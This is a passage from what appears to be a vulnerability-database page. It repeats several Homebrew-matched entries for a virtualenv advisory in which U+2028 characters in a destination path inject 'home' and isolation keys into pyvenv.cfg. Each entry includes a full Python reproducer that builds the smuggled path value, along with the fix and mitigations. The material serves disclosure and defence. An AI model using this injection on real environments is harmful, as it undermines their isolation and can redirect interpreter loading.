    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "poetry",
            "purl": "pkg:brew/poetry"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.8.0"
                },
                {
                  "fixed": "2.5.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-poetry-CVE-2026-113715",
      "modified": "2026-11-19T09:13:01Z",
      "published": "2026-10-27T09:03:56Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-PRE-COMMIT-CVE-2026… (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:58 – Updated: 2026-11-19 10:22 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pre-commit",
            "purl": "pkg:brew/pre-commit"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.20.0"
                },
                {
                  "fixed": "2.20.0_1"
                },
                {
                  "introduced": "3.6.1"
                },
                {
                  "fixed": "4.7.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-pre-commit-CVE-2026-113715",
      "modified": "2026-11-19T10:22:29Z",
      "published": "2026-10-26T09:58:25Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-SICKCHILL-CVE-2026-113715 (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-29 21:44 – Updated: 2026-11-19 09:34 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "sickchill",
            "purl": "pkg:brew/sickchill"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2026.10.8"
                },
                {
                  "fixed": "2026.10.8_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
